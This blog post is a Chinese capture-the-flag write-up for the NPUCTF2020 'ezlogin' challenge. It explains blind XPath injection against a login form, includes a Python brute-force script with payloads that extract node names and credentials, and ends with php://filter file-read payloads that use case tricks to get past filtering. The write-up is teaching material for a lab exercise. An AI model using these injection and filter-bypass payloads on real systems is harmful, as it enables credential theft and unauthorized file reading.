xpath注入[NPUCTF2020]ezlogin
创始人
2024-05-23 21:07:59
0

[NPUCTF2020]ezlogin

打开界面

如果发现自己输入的信息由这样构成,可以往xpath注入上靠一下。

 

不管输入什么,很容易发现登陆就超时了,说明这里token是不断刷新的。

 这样构造也是一样的目的都是为了闭合后面的',为啥有两个or呢

username=' ' or count(/)=1 or 1='1 ' and password=1

false or true or true and false   ,如果是两个   false or true and false 不就是false了吗

这条命令是判断根目录有几个结点, 

通过不同的回显,这道题采用盲注的手段通过回显位来判断。

 

 

一、获取根目录名字


'or substring(name(/*[1]), {}, 1)='{}'  or ''='3123{}

 二、获取根目录上面的目录个数

 依次类推就可以判断n次目录下面的 子目录

三、获取目录名字的长度

'or string-length(name(/*[1]))=4 or ' '='

这样xpath基本操作就都了解了

id:        'or substring(name(/root/accounts/user/*[1]), {}, 1)='{}'  or ''=''or     username:        substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''=''or password:         substring(name(/root/accounts/user/*[3]), {}, 1)='{}' or ''='

 

import requests
import re
import time
s = requests.session()
url ='http://50869d19-fe92-4610-9af0-a294499acdf9.node4.buuoj.cn:81/login.php'
head ={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/xml"
}
find =re.compile('')
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):for j in strs:r = s.post(url=url)token = find.findall(r.text)#猜测根节点名称#payload_1 = "'or substring(name(/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])#猜测子节点名称# payload_2 = "'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])## #猜测accounts的节点# payload_3 ="'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])## #猜测user节点#payload_4 ="'or substring(name(/root/accounts/user/*[3]), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])## #跑用户名和密码# payload_username ="'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])#payload_password ="'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='3123{}".format(i,j,token[0])#print(payload_password)r = s.post(url=url,headers=head,data=payload_password)time.sleep(0.2)print(r.text)if "非法操作" in r.text:flag+=jprint(flag)breakif "用户名或密码错误!" in r.text:breakprint(flag)

一般都是md5存储数据的解密得到 

adm1n
gtfly123  cf7414b5bdb2e65ee43083f4ddbc4d9f
 

有的时候会因为网络报错,加一个time.sleep就可以了。

进入后发现,file=可能有路径穿越漏洞,或者任意文件读取漏洞

然后下面base64解码得到,flag  in /flag

直接用filter读取协议试一下

phP://filter/convert.bAse64-encode/resource=/flag

PHP://filter/string.toupper/resource=/flag   转换为大写都可以绕过

 

 

相关内容

热门资讯

保存时出现了1个错误,导致这篇... 当保存文章时出现错误时,可以通过以下步骤解决问题:查看错误信息:查看错误提示信息可以帮助我们了解具体...
汇川伺服电机位置控制模式参数配... 1. 基本控制参数设置 1)设置位置控制模式   2)绝对值位置线性模...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
不一致的条件格式 要解决不一致的条件格式问题,可以按照以下步骤进行:确定条件格式的规则:首先,需要明确条件格式的规则是...
本地主机上的图像未显示 问题描述:在本地主机上显示图像时,图像未能正常显示。解决方法:以下是一些可能的解决方法,具体取决于问...
表格列调整大小出现问题 问题描述:表格列调整大小出现问题,无法正常调整列宽。解决方法:检查表格的布局方式是否正确。确保表格使...
表格中数据未显示 当表格中的数据未显示时,可能是由于以下几个原因导致的:HTML代码问题:检查表格的HTML代码是否正...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...